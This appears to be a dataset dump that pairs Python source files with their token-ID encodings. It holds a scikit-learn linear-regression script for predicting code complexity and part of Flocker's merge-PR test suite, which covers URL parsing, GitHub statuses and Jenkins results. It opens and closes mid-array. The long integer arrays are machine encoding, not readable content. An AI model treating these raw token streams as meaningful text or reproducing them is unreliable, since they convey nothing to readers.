29879,
13,
3166,
260,
11093,
29889,
29881,
2536,
29889,
14036,
29889,
3188,
1053,
2967,
29918,
9465,
13,
3166,
260,
11093,
29889,
25350,
16444,
362,
1053,
848,
29918,
8768,
13,
3166,
260,
11093,
29889,
25350,
16444,
362,
1053,
15562,
13,
3166,
260,
11093,
29889,
25350,
16444,
362,
29889,
637,
519,
1053,
2967,
29918,
9465,
408,
3805,
29918,
3188,
29918,
9465,
13,
3166,
260,
11093,
29889,
25350,
16444,
362,
29889,
637,
519,
29889,
828,
3487,
1053,
3619,
29918,
13239,
13,
3166,
260,
11093,
29889,
17529,
1053,
1342,
29918,
1885,
29918,
24381,
29906,
13,
3166,
260,
11093,
29889,
17529,
29889,
25350,
16444,
362,
1053,
7156,
29918,
4905,
29918,
24381,
29906,
13,
3166,
260,
11093,
29889,
17529,
29889,
25350,
16444,
362,
1053,
16439,
29918,
24381,
29906,
13,
13,
3166,
5386,
29889,
17529,
9721,
1053,
4390,
29918,
4830,
13,
3166,
286,
29880,
29918,
19635,
29889,
17529,
1053,
15562,
29918,
8899,
29918,
24381,
29906,
13,
13,
13,
1753,
903,
5504,
29918,
4905,
29918,
8813,
29898,
13,
1678,
2279,
29918,
11330,
29901,
360,
919,
29961,
1626,
29892,
3139,
1402,
13,
1678,
1962,
29918,
8813,
29901,
15562,
29918,
8899,
29918,
24381,
29906,
29889,
9986,
7060,
29897,
1599,
6213,
29901,
13,
29871,
9995,
3373,
15190,
1962,
29918,
8813,
491,
13271,
1863,
5393,
9976,
470,
4969,
716,
9976,
565,
451,
2307,
4864,
1213,
15945,
13,
29871,
1962,
29918,
8813,
29889,
6341,
29918,
11330,
29961,
13,
418,
3667,
29879,
29889,
29943,
4214,
1001,
10593,
10192,
29918,
8618,
13171,
15631,
29918,
5813,
1822,
1807,
29918,
1767,
353,
313,
13,
3986,
2279,
29918,
11330,
29961,
13239,
29889,
29943,
4214,
1001,
10593,
10192,
29918,
8618,
13171,
15631,
29918,
5813,
2314,
13,
29871,
1962,
29918,
8813,
29889,
6341,
29918,
11330,
29961,
13,
418,
3667,
29879,
29889,
5550,
2190,
29918,
8618,
13171,
15631,
29918,
5813,
1822,
1807,
29918,
1767,
353,
851,
29898,
13,
3986,
2279,
29918,
11330,
29961,
13239,
29889,
5550,
2190,
29918,
8618,
13171,
15631,
29918,
5813,
2314,
13,
29871,
396,
14402,
29898,
29890,
29914,
29896,
29953,
29906,
29953,
29906,
29906,
29947,
29900,
29941,
1125,
788,
2322,
6030,
363,
746,
1873,
1580,
451,
2198,
29889,
13,
29871,
565,
2279,
29918,
11330,
29961,
13239,
29889,
16358,
29918,
8618,
13171,
15631,
29918,
5813,
5387,
13,
1678,
1962,
29918,
8813,
29889,
6341,
29918,
11330,
29961,
13,
4706,
3667,
29879,
29889,
16358,
29918,
8618,
13171,
15631,
29918,
5813,
1822,
1807,
29918,
1767,
353,
851,
29898,
13,
9651,
2279,
29918,
11330,
29961,
13239,
29889,
16358,
29918,
8618,
13171,
15631,
29918,
5813,
2314,
13,
13,
13,
1990,
26391,
29898,
3188,
29918,
9465,
29889,
5160,
12376,
29892,
3805,
29918,
3188,
29918,
9465,
29889,
5160,
12376,
1125,
13,
29871,
9995,
7281,
7156,
363,
8741,
15462,
29889,
13,
13,
29871,
910,
7156,
11286,
934,
2729,
8741,
15462,
29892,
321,
29889,
29887,
1696,
363,
315,
4501,
14023,
15462,
322,
13,
29871,
16032,
14023,
15462,
29889,
13,
29871,
9995,
13,
13,
29871,
822,
4770,
2344,
12035,
1311,
29892,
13,
1669,
15562,
29918,
13789,
29901,
15562,
29889,
18417,
29892,
13,
1669,
16439,
29918,
3888,
29901,
28379,
29961,
13096,
5570,
29918,
24381,
29906,
29889,
29925,
23828,
3401,
29962,
353,
6213,
29892,
13,
1669,
16439,
29918,
3177,
29901,
28379,
29961,
13096,
5570,
29918,
24381,
29906,
29889,
29925,
23828,
4247,
29962,
353,
6213,
1125,
13,
1678,
2967,
29918,
9465,
29889,
5160,
12376,
17255,
2344,
12035,
1311,
29892,
15562,
29918,
13789,
29897,
13,
1678,
3805,
29918,
3188,
29918,
9465,
29889,
5160,
12376,
17255,
2344,
12035,
1311,
29892,
15562,
29918,
13789,
29892,
16439,
29918,
3888,
29892,
13,
462,
462,
539,
16439,
29918,
3177,
29897,
13,
13,
29871,
822,
8814,
29918,
4258,
29918,
11330,
29898,
13,
418,
1583,
29892,
13,
418,
2279,
29918,
11330,
29901,
360,
919,
29961,
1626,
29892,
3139,
1402,
13,
418,
16439,
29918,
3888,
29901,
848,
29918,
8768,
29889,
29925,
23828,
3401,
29892,
13,
418,
4163,
29918,
3888,
29901,
848,
29918,
8768,
29889,
5308,
3401,
29892,
13,
29871,
1723,
1599,
360,
919,
29961,
1626,
29892,
3139,
5387,
13,
1678,
9995,
3563,
24040,
7399,
12376,
29889,
17863,
29918,
4258,
29918,
11330,
2141,
15945,
29908,
13,
1678,
628,
16439,
29918,
3888,
29892,
4163,
29918,
3888,
13,
13,
1678,
1881,
29918,
2917,
353,
1342,
29918,
1885,
29918,
24381,
29906,
29889,
4290,
580,
13,
1678,
4390,
29918,
4830,
29889,
12914,
29898,
4258,
29918,
11330,
29961,
13239,
29889,
1177,
12336,
29918,
25903,
29918,
10818,
1402,
1881,
29918,
2917,
29897,
13,
13,
1678,
1881,
29918,
3188,
353,
2279,
29918,
11330,
29961,
13239,
29889,
1177,
12336,
29918,
25416,
29918,
10818,
29962,
13,
1678,
12183,
29889,
8382,
877,
7032,
292,
1881,
1273,
29879,
29889,
742,
1881,
29918,
3188,
29897,
13,
13,
1678,
396,
3940,
393,
445,
740,
11217,
278,
1881,
29918,
2917,
29889,
23579,
1169,
29889,
11037,
29889,
13,
1678,
19917,
2158,
29892,
10638,
29892,
1873,
353,
3667,
29879,
29889,
15807,
403,
29918,
23579,
1169,
29918,
29888,
5621,
2158,
29918,
9653,
29918,
392,
29918,
3259,
29898,
13,
4706,
1881,
29918,
3188,
29892,
1881,
29918,
2917,
29889,
23579,
1169,
29897,
13,
13,
1678,
2279,
29918,
11330,
29961,
13239,
29889,
1177,
12336,
29918,
25903,
29918,
10818,
29962,
353,
4390,
29918,
4830,
29889,
3728,
1762,
8148,
29898,
13,
4706,
1881,
29918,
2917,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
2225,
29530,
29918,
17529,
29918,
2671,
29918,
978,
29922,
5574,
29897,
13,
1678,
2279,
29918,
11330,
29961,
13239,
29889,
5550,
2190,
29918,
8618,
13171,
15631,
29918,
5813,
29962,
353,
10638,
13,
1678,
2279,
29918,
11330,
29961,
13239,
29889,
16358,
29918,
8618,
13171,
15631,
29918,
5813,
29962,
353,
1873,
13,
1678,
2279,
29918,
11330,
29961,
13239,
29889,
29943,
4214,
1001,
10593,
10192,
29918,
8618,
13171,
15631,
29918,
5813,
29962,
353,
19917,
2158,
13,
13,
1678,
736,
2279,
29918,
11330,
13,
13,
29871,
822,
903,
19125,
29918,
4905,
29918,
8813,
29879,
29898,
13,
418,
1583,
29892,
13,
418,
1881,
29918,
8813,
29879,
29901,
360,
919,
29961,
1626,
29892,
2391,
29961,
8768,
29889,
9986,
7060,
20526,
13,
418,
1962,
29918,
8977,
29901,
360,
919,
29961,
1626,
29892,
4072,
29889,
13599,
1402,
13,
418,
2279,
29918,
11330,
29901,
360,
919,
29961,
1626,
29892,
3139,
1402,
13,
418,
8225,
29918,
333,
29901,
938,
29892,
13,
418,
16439,
29918,
3888,
29901,
848,
29918,
8768,
29889,
29925,
23828,
3401,
29892,
13,
418,
4163,
29918,
3888,
29901,
848,
29918,
8768,
29889,
5308,
3401,
29892,
13,
29871,
1723,
1599,
360,
919,
29961,
1626,
29892,
2391,
29961,
8768,
29889,
9986,
7060,
5262,
29901,
13,
1678,
9995,
3563,
24040,
7399,
12376,
3032,
19125,
29918,
4905,
29918,
8813,
29879,
2141,
15945,
29908,
13,
1678,
628,
1881,
29918,
8813,
29879,
13,
13,
1678,
1342,
29918,
8813,
353,
1962,
29918,
8977,
29961,
13239,
29889,
5746,
19297,
17101,
29918,
10818,
1822,
1853,
580,
13,
1678,
2967,
29918,
4905,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
13096,
5570,
29918,
3888,
29889,
13096,
5570,
29918,
4632,
29892,
13,
462,
462,
259,
4163,
29918,
3888,
29889,
9700,
29918,
333,
29897,
13,
13,
1678,
1342,
29918,
8813,
29889,
5338,
353,
2967,
29918,
9465,
3032,
17158,
29918,
4905,
29918,
5338,
29898,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
4706,
2967,
29918,
4905,
29918,
3972,
29892,
3667,
29879,
29889,
5746,
19297,
17101,
29918,
10818,
29892,
8225,
29918,
333,
29897,
13,
1678,
903,
5504,
29918,
4905,
29918,
8813,
29898,
13,
4706,
2279,
29918,
11330,
29892,
13,
4706,
1342,
29918,
8813,
29889,
828,
3487,
29918,
8813,
29897,
13,
1678,
2967,
29918,
9465,
3032,
19125,
29918,
4905,
29918,
24772,
29898,
4773,
29918,
8813,
29897,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
13,
1678,
736,
426,
13239,
29889,
5746,
19297,
17101,
29918,
10818,
29901,
518,
4773,
29918,
8813,
12258,
13,
13,
29871,
822,
1065,
29898,
1311,
29892,
1881,
29918,
8977,
29901,
360,
919,
29961,
1626,
29892,
2391,
29961,
8768,
29889,
9986,
7060,
20526,
13,
3986,
1962,
29918,
8977,
29901,
360,
919,
29961,
1626,
29892,
2391,
29961,
8768,
29889,
9986,
7060,
20526,
13,
3986,
2279,
29918,
11330,
29901,
360,
919,
29961,
1626,
29892,
3139,
2314,
1599,
7156,
29918,
4905,
29918,
24381,
29906,
29889,
12376,
6466,
29901,
13,
13,
1678,
396,
6977,
5987,
2279,
29918,
11330,
13,
1678,
1121,
353,
7156,
29918,
4905,
29918,
24381,
29906,
29889,
12376,
6466,
580,
13,
1678,
396,
349,
23828,
3401,
322,
15924,
3401,
526,
451,
2869,
1304,
29892,
1023,
25713,
697,
526,
13,
1678,
396,
2825,
925,
304,
367,
10007,
519,
411,
278,
2030,
3450,
29889,
13,
1678,
16439,
29918,
3888,
353,
848,
29918,
8768,
29889,
29925,
23828,
3401,
877,
742,
27255,
13,
1678,
4163,
29918,
3888,
353,
848,
29918,
8768,
29889,
5308,
3401,
877,
742,
15516,
16439,
29918,
3888,
29897,
13,
1678,
2279,
29918,
11330,
353,
1583,
29889,
17863,
29918,
4258,
29918,
11330,
29898,
13,
4706,
2279,
29918,
11330,
29892,
16439,
29918,
3888,
29892,
4163,
29918,
3888,
29897,
13,
1678,
363,
413,
29892,
325,
297,
2279,
29918,
11330,
29889,
7076,
7295,
13,
418,
3619,
29918,
13239,
29889,
842,
29918,
19635,
29918,
1767,
29898,
2914,
29889,
4258,
29918,
11330,
29961,
29895,
1402,
325,
29897,
13,
13,
1678,
396,
6977,
5987,
1962,
29918,
8977,
13,
1678,
1962,
29918,
4773,
353,
3509,
29889,
24535,
8552,
29898,
13,
4706,
1962,
29918,
8977,
29961,
13239,
29889,
5746,
19297,
17101,
29918,
10818,
3816,
29900,
1822,
828,
3487,
29918,
8813,
29897,
13,
1678,
903,
5504,
29918,
4905,
29918,
8813,
29898,
4258,
29918,
11330,
29892,
1962,
29918,
4773,
29897,
13,
1678,
1121,
29889,
4905,
29918,
8813,
29879,
29961,
13239,
29889,
5746,
19297,
17101,
29918,
10818,
1822,
8813,
29879,
29889,
4397,
29898,
4905,
29918,
4773,
29897,
13,
1678,
736,
1121,
13,
2
] |
ex4/4_1_complexity_prediction/4_1_complexity_prediction.py | Jeilef/FoSA | 0 | 108989 | import argparse
from sklearn.linear_model import LinearRegression
import pandas as pd
def train_model(train_dataset, train_columns, predict_columns):
data = pd.read_csv(train_dataset, sep=";")
data = data.fillna(0)
X = data[train_columns.split(";")]
Y = data[predict_columns.split(";")]
return LinearRegression().fit(X.to_numpy(), Y.to_numpy())
def model_predict(model, predict_dataset, train_columns):
data = pd.read_csv(predict_dataset, sep=";")
files = data[["filename"]].to_numpy()
prediction_data = data[train_columns.split(";")]
prediction = model.predict(prediction_data.to_numpy())
for f, p in zip(files, prediction):
print(str(f[0]) + ";" + str(p[0]))
if __name__ == "__main__":
parser = argparse.ArgumentParser('FSA')
parser.add_argument('--training-columns', type=str, help='columns that should be used for training')
parser.add_argument('--prediction-column', type=str, help='columns that should be predicted')
parser.add_argument('--train', type=str, help='training dataset', default='training-data.csv')
parser.add_argument('--predict', type=str, help='prediction dataset', default='prediction-data.csv')
args = parser.parse_args()
model = train_model(args.train, args.training_columns, args.prediction_column)
model_predict(model, args.predict, args.training_columns)
| [
1,
1053,
1852,
5510,
13,
3166,
2071,
19668,
29889,
10660,
29918,
4299,
1053,
22985,
4597,
23881,
13,
5215,
11701,
408,
10518,
13,
13,
13,
1753,
7945,
29918,
4299,
29898,
14968,
29918,
24713,
29892,
7945,
29918,
13099,
29892,
8500,
29918,
13099,
1125,
13,
1678,
848,
353,
10518,
29889,
949,
29918,
7638,
29898,
14968,
29918,
24713,
29892,
16345,
543,
29936,
1159,
13,
1678,
848,
353,
848,
29889,
5589,
1056,
29898,
29900,
29897,
13,
1678,
1060,
353,
848,
29961,
14968,
29918,
13099,
29889,
5451,
703,
29936,
13531,
13,
1678,
612,
353,
848,
29961,
27711,
29918,
13099,
29889,
5451,
703,
29936,
13531,
13,
1678,
736,
22985,
4597,
23881,
2141,
9202,
29898,
29990,
29889,
517,
29918,
23749,
3285,
612,
29889,
517,
29918,
23749,
3101,
13,
13,
13,
1753,
1904,
29918,
27711,
29898,
4299,
29892,
8500,
29918,
24713,
29892,
7945,
29918,
13099,
1125,
13,
1678,
848,
353,
10518,
29889,
949,
29918,
7638,
29898,
27711,
29918,
24713,
29892,
16345,
543,
29936,
1159,
13,
1678,
2066,
353,
848,
29961,
3366,
9507,
3108,
1822,
517,
29918,
23749,
580,
13,
1678,
18988,
29918,
1272,
353,
848,
29961,
14968,
29918,
13099,
29889,
5451,
703,
29936,
13531,
13,
1678,
18988,
353,
1904,
29889,
27711,
29898,
11965,
2463,
29918,
1272,
29889,
517,
29918,
23749,
3101,
13,
1678,
363,
285,
29892,
282,
297,
14319,
29898,
5325,
29892,
18988,
1125,
13,
4706,
1596,
29898,
710,
29898,
29888,
29961,
29900,
2314,
718,
12159,
29908,
718,
851,
29898,
29886,
29961,
29900,
12622,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
877,
29943,
8132,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
26495,
29899,
13099,
742,
1134,
29922,
710,
29892,
1371,
2433,
13099,
393,
881,
367,
1304,
363,
6694,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
11965,
2463,
29899,
4914,
742,
1134,
29922,
710,
29892,
1371,
2433,
13099,
393,
881,
367,
25383,
1495,
13,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
14968,
742,
1134,
29922,
710,
29892,
1371,
2433,
26495,
8783,
742,
2322,
2433,
26495,
29899,
1272,
29889,
7638,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
27711,
742,
1134,
29922,
710,
29892,
1371,
2433,
11965,
2463,
8783,
742,
2322,
2433,
11965,
2463,
29899,
1272,
29889,
7638,
1495,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
1904,
353,
7945,
29918,
4299,
29898,
5085,
29889,
14968,
29892,
6389,
29889,
26495,
29918,
13099,
29892,
6389,
29889,
11965,
2463,
29918,
4914,
29897,
13,
1678,
1904,
29918,
27711,
29898,
4299,
29892,
6389,
29889,
27711,
29892,
6389,
29889,
26495,
29918,
13099,
29897,
13,
13,
2
] |
admin/test/test_merge_pr.py | stackriot/flocker | 2,690 | 125055 | # Copyright ClusterHQ Inc. See LICENSE file for details.
"""
Tests for :module:`admin.merge_pr`.
"""
import os
import subprocess
from hypothesis import given
from hypothesis.strategies import (
booleans,
dictionaries,
fixed_dictionaries,
just,
lists,
one_of,
sampled_from,
text,
)
from hypothesis.extra.datetime import datetimes
from pyrsistent import pmap, plist
from flocker.testtools import TestCase
from admin import merge_pr
SCRIPT_FILENAME = 'merge-pr'
SCRIPT_FILE = os.path.join(os.path.dirname(os.path.dirname(__file__)),
SCRIPT_FILENAME)
def run_script(args):
return subprocess.check_output([SCRIPT_FILE] + args)
class SmokeTests(TestCase):
"""
Basic tests of running the script.
"""
def test_help(self):
output = run_script(['--help'])
self.assertIn("Merge a branch when all the tests pass.", output)
class URLTests(TestCase):
"""
Test for URL manipulation.
"""
def test_url_path(self):
"""
Correct path from a full URL.
"""
path = '/ClusterHQ/flocker/pull/1717'
self.assertEqual(path, merge_pr.url_path('https://github.com' + path))
def test_url_path_no_hostname(self):
"""
Correct path from a URL path.
"""
path = '/ClusterHQ/flocker/pull/1717'
self.assertEqual(path, merge_pr.url_path(path))
def test_url_path_parts(self):
"""
Correct segments from a full URL.
"""
path_parts = ['ClusterHQ', 'flocker', 'pull', '1717']
self.assertEqual(
[''] + path_parts,
merge_pr.url_path_parts(
'https://github.com/' + '/'.join(path_parts)))
def test_url_path_parts_no_hostname(self):
"""
Correct segments from a URL path.
"""
path_parts = ['ClusterHQ', 'flocker', 'pull', '1717']
self.assertEqual(
[''] + path_parts,
merge_pr.url_path_parts('/' + '/'.join(path_parts)))
def test_pr_api_url(self):
"""
Correct API URL for a full URL.
"""
self.assertEqual(
'https://api.github.com/repos/ClusterHQ/flocker/pulls/1717',
merge_pr.pr_api_url_from_web_url(
'https://github.com/ClusterHQ/flocker/pull/1717'))
def commit_statuses(**kwargs):
"""
Create a strategy for GitHub commit status dicts.
:param **kwargs: alter the strategy for a particular
key of the status dict, e.g. state=just(u'success')
will fix the state key of the dict to that string.
:return strategy: a strategy.
"""
base = {'updated_at': datetimes(timezones=['UTC']),
'state': text(),
'context': text(average_size=2),
'target_url': text(average_size=2),
}
base.update(**kwargs)
return fixed_dictionaries(base)
jenkins_results = sampled_from(merge_pr.JenkinsResults.iterconstants())
"""Strategy for generating JenkinsResults values."""
class StatusesTests(TestCase):
"""
Tests for interpretation of commit statuses.
https://developer.github.com/v3/repos/statuses/
"""
@given(commit_statuses())
def test_final_status_one(self, status):
"""
Final status of one status is itself.
"""
self.assertEqual(status, merge_pr.final_status([status]))
@given(commit_statuses(), commit_statuses())
def test_final_status_many(self, status1, status2):
"""
Final status of a list is the latest.
"""
target = status1
if status2['updated_at'] > status1['updated_at']:
target = status2
self.assertEqual(target, merge_pr.final_status([status2, status1]))
@given(commit_statuses(state=text().filter(lambda x: x != u'success')))
def test_not_success(self, status):
"""
Always `not_success` for anything except 'success'.
"""
self.assertEqual(True, merge_pr.not_success(status))
@given(commit_statuses(state=just(u'success')))
def test_not_success_success(self, status):
"""
`not_success` False for 'success'.
"""
self.assertEqual(False, merge_pr.not_success(status))
@given(commit_statuses(), jenkins_results)
def test_format_status(self, status, jenkins):
"""
`format_status` produces unicode that mentions the context and url.
"""
formatted = merge_pr.format_status((status, jenkins))
self.assertIsInstance(formatted, unicode)
self.assertIn(status['context'], formatted)
self.assertIn(status['target_url'], formatted)
# These strategies are far from complete coverage of the possible
# Jenkins API responses.
jenkins_builds = fixed_dictionaries(dict(
result=sampled_from([None, 'FAILURE', 'ABORTED', 'SUCCESS'])))
"""Strategy for generating records of individual builds of a Jenkins job."""
NO_BUILDS = object()
"""
Sentinel to say that `jenkins_build_results` should not include the builds key.
"""
def jenkins_build_results(inQueue=None, builds=None):
"""Create a strategy for generating Jenkins API information for a job.
:param strategy inQueue: strategy for the inQueue key, or None to use
the default.
:param strategy builds: strategy for populating the builds key, or None
for the default. The special value `NO_BUILDS` will mean that the
builds key is not in the resulting dict at all.
:return strategy: a strategy.
"""
strats = []
if inQueue is None:
inQueue = booleans()
strats.append(just(pmap()))
without_builds = fixed_dictionaries(dict(
inQueue=inQueue))
if builds is None or builds is NO_BUILDS:
strats.append(without_builds)
if builds is None:
builds = lists(jenkins_builds, average_size=1)
if builds is not NO_BUILDS:
with_builds = fixed_dictionaries(dict(
inQueue=inQueue,
builds=builds,
property=dictionaries(
text(max_size=2), text(max_size=2),
average_size=1, max_size=2)))
strats.append(with_builds)
return one_of(*strats)
class JenkinsResultsTests(TestCase):
"""
Tests for interpretation of build results from Jenkins.
"""
@given(jenkins_build_results())
def test_result_types(self, info):
"""
Result always a tuple (`JenkinsResults`, Maybe[dict])
"""
result, params = merge_pr.jenkins_info_from_response(info)
self.assertIn(result, list(merge_pr.JenkinsResults.iterconstants()))
if params is not None:
self.assertIsInstance(params, dict)
@given(jenkins_build_results(inQueue=just(True)))
def test_in_queue(self, info):
"""
Job with inQueue = True is `RUNNING`.
"""
result, params = merge_pr.jenkins_info_from_response(info)
self.assertEqual(merge_pr.JenkinsResults.RUNNING, result)
self.assertEqual({}, params)
@given(jenkins_build_results(inQueue=just(False), builds=NO_BUILDS))
def test_builds_not_present(self, info):
"""
Job without a builds list is `UNKNOWN`.
"""
result, params = merge_pr.jenkins_info_from_response(info)
self.assertEqual(merge_pr.JenkinsResults.UNKNOWN, result)
self.assertEqual({}, params)
@given(jenkins_build_results(inQueue=just(False), builds=just(plist())))
def test_no_builds(self, info):
"""
Job with empty builds list is `NOTRUN`.
"""
result, params = merge_pr.jenkins_info_from_response(info)
self.assertEqual(merge_pr.JenkinsResults.NOTRUN, result)
self.assertEqual({}, params)
| [
1,
396,
14187,
1266,
2233,
5402,
29950,
29984,
9266,
29889,
29871,
2823,
365,
2965,
1430,
1660,
934,
363,
4902,
29889,
13,
15945,
29908,
13,
24376,
363,
584,
5453,
18078,
6406,
29889,
14634,
29918,
558,
1412,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
1014,
5014,
13,
13,
3166,
20051,
1053,
2183,
13,
3166,
20051,
29889,
710,
1845,
583,
1053,
313,
13,
1678,
1045,
1772,
550,
29892,
13,
1678,
21503,
4314,
29892,
13,
1678,
4343,
29918,
29467,
4314,
29892,
13,
1678,
925,
29892,
13,
1678,
8857,
29892,
13,
1678,
697,
29918,
974,
29892,
13,
1678,
4559,
29881,
29918,
3166,
29892,
13,
1678,
1426,
29892,
13,
1678,
1723,
13,
3166,
20051,
29889,
17833,
29889,
12673,
1053,
1418,
300,
1355,
13,
3166,
11451,
2288,
9696,
1053,
282,
1958,
29892,
715,
391,
13,
13,
3166,
285,
908,
261,
29889,
1688,
8504,
1053,
4321,
8259,
13,
13,
3166,
4113,
1053,
10366,
29918,
558,
13,
13,
13,
7187,
24290,
29918,
7724,
5813,
353,
525,
14634,
29899,
558,
29915,
13,
7187,
24290,
29918,
7724,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
8243,
13,
462,
965,
12314,
24290,
29918,
7724,
5813,
29897,
13,
13,
13,
1753,
1065,
29918,
2154,
29898,
5085,
1125,
13,
1678,
736,
1014,
5014,
29889,
3198,
29918,
4905,
4197,
7187,
24290,
29918,
7724,
29962,
718,
6389,
29897,
13,
13,
13,
1990,
4116,
6946,
24376,
29898,
3057,
8259,
1125,
13,
1678,
9995,
13,
1678,
19219,
6987,
310,
2734,
278,
2471,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1243,
29918,
8477,
29898,
1311,
1125,
13,
4706,
1962,
353,
1065,
29918,
2154,
18959,
489,
8477,
11287,
13,
4706,
1583,
29889,
9294,
797,
703,
15836,
479,
263,
5443,
746,
599,
278,
6987,
1209,
19602,
1962,
29897,
13,
13,
13,
1990,
3988,
24376,
29898,
3057,
8259,
1125,
13,
1678,
9995,
13,
1678,
4321,
363,
3988,
11525,
2785,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
1243,
29918,
2271,
29918,
2084,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28518,
2224,
515,
263,
2989,
3988,
29889,
13,
4706,
9995,
13,
4706,
2224,
353,
8207,
6821,
5402,
29950,
29984,
29914,
29888,
908,
261,
29914,
26746,
29914,
29896,
29955,
29896,
29955,
29915,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2084,
29892,
10366,
29918,
558,
29889,
2271,
29918,
2084,
877,
991,
597,
3292,
29889,
510,
29915,
718,
2224,
876,
13,
13,
1678,
822,
1243,
29918,
2271,
29918,
2084,
29918,
1217,
29918,
28988,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28518,
2224,
515,
263,
3988,
2224,
29889,
13,
4706,
9995,
13,
4706,
2224,
353,
8207,
6821,
5402,
29950,
29984,
29914,
29888,
908,
261,
29914,
26746,
29914,
29896,
29955,
29896,
29955,
29915,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2084,
29892,
10366,
29918,
558,
29889,
2271,
29918,
2084,
29898,
2084,
876,
13,
13,
1678,
822,
1243,
29918,
2271,
29918,
2084,
29918,
20895,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28518,
24611,
515,
263,
2989,
3988,
29889,
13,
4706,
9995,
13,
4706,
2224,
29918,
20895,
353,
6024,
6821,
5402,
29950,
29984,
742,
525,
29888,
908,
261,
742,
525,
26746,
742,
525,
29896,
29955,
29896,
29955,
2033,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13,
9651,
6024,
2033,
718,
2224,
29918,
20895,
29892,
13,
9651,
10366,
29918,
558,
29889,
2271,
29918,
2084,
29918,
20895,
29898,
13,
18884,
525,
991,
597,
3292,
29889,
510,
22208,
718,
8207,
4286,
7122,
29898,
2084,
29918,
20895,
4961,
13,
13,
1678,
822,
1243,
29918,
2271,
29918,
2084,
29918,
20895,
29918,
1217,
29918,
28988,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28518,
24611,
515,
263,
3988,
2224,
29889,
13,
4706,
9995,
13,
4706,
2224,
29918,
20895,
353,
6024,
6821,
5402,
29950,
29984,
742,
525,
29888,
908,
261,
742,
525,
26746,
742,
525,
29896,
29955,
29896,
29955,
2033,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13,
9651,
6024,
2033,
718,
2224,
29918,
20895,
29892,
13,
9651,
10366,
29918,
558,
29889,
2271,
29918,
2084,
29918,
20895,
11219,
29915,
718,
8207,
4286,
7122,
29898,
2084,
29918,
20895,
4961,
13,
13,
1678,
822,
1243,
29918,
558,
29918,
2754,
29918,
2271,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
28518,
3450,
3988,
363,
263,
2989,
3988,
29889,
13,
4706,
9995,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13,
9651,
525,
991,
597,
2754,
29889,
3292,
29889,
510,
29914,
276,
1066,
29914,
6821,
5402,
29950,
29984,
29914,
29888,
908,
261,
29914,
26746,
29879,
29914,
29896,
29955,
29896,
29955,
742,
13,
9651,
10366,
29918,
558,
29889,
558,
29918,
2754,
29918,
2271,
29918,
3166,
29918,
2676,
29918,
2271,
29898,
13,
18884,
525,
991,
597,
3292,
29889,
510,
29914,
6821,
5402,
29950,
29984,
29914,
29888,
908,
261,
29914,
26746,
29914,
29896,
29955,
29896,
29955,
8785,
13,
13,
13,
1753,
9063,
29918,
4882,
267,
29898,
1068,
19290,
1125,
13,
1678,
9995,
13,
1678,
6204,
263,
13705,
363,
25492,
9063,
4660,
9657,
29879,
29889,
13,
13,
1678,
584,
3207,
3579,
19290,
29901,
10551,
278,
13705,
363,
263,
3153,
13,
4706,
1820,
310,
278,
4660,
9657,
29892,
321,
29889,
29887,
29889,
2106,
29922,
5143,
29898,
29884,
29915,
8698,
1495,
13,
4706,
674,
2329,
278,
2106,
1820,
310,
278,
9657,
304,
393,
1347,
29889,
13,
1678,
584,
2457,
13705,
29901,
263,
13705,
29889,
13,
1678,
9995,
13,
1678,
2967,
353,
11117,
21402,
29918,
271,
2396,
1418,
300,
1355,
29898,
2230,
29920,
2873,
29922,
1839,
26913,
2033,
511,
13,
9651,
525,
3859,
2396,
1426,
3285,
13,
9651,
525,
4703,
2396,
1426,
29898,
12483,
482,
29918,
2311,
29922,
29906,
511,
13,
9651,
525,
5182,
29918,
2271,
2396,
1426,
29898,
12483,
482,
29918,
2311,
29922,
29906,
511,
13,
9651,
500,
13,
1678,
2967,
29889,
5504,
29898,
1068,
19290,
29897,
13,
1678,
736,
4343,
29918,
29467,
4314,
29898,
3188,
29897,
13,
13,
13,
4142,
11335,
29918,
9902,
353,
4559,
29881,
29918,
3166,
29898,
14634,
29918,
558,
29889,
29967,
16468,
12191,
29889,
1524,
3075,
1934,
3101,
13,
15945,
29908,
26910,
363,
14655,
23750,
12191,
1819,
1213,
15945,
13,
13,
13,
1990,
16034,
267,
24376,
29898,
3057,
8259,
1125,
13,
1678,
9995,
13,
1678,
4321,
29879,
363,
19854,
310,
9063,
4660,
267,
29889,
13,
13,
1678,
2045,
597,
6734,
29889,
3292,
29889,
510,
29914,
29894,
29941,
29914,
276,
1066,
29914,
4882,
267,
29914,
13,
1678,
9995,
13,
13,
1678,
732,
29887,
5428,
29898,
15060,
29918,
4882,
267,
3101,
13,
1678,
822,
1243,
29918,
8394,
29918,
4882,
29918,
650,
29898,
1311,
29892,
4660,
1125,
13,
4706,
9995,
13,
4706,
9550,
4660,
310,
697,
4660,
338,
3528,
29889,
13,
4706,
9995,
13,
4706,
1583,
29889,
9294,
9843,
29898,
4882,
29892,
10366,
29918,
558,
29889,
8394,
29918,
4882,
4197,
4882,
12622,
13,
13,
1678,
732,
29887,
5428,
29898,
15060,
29918,
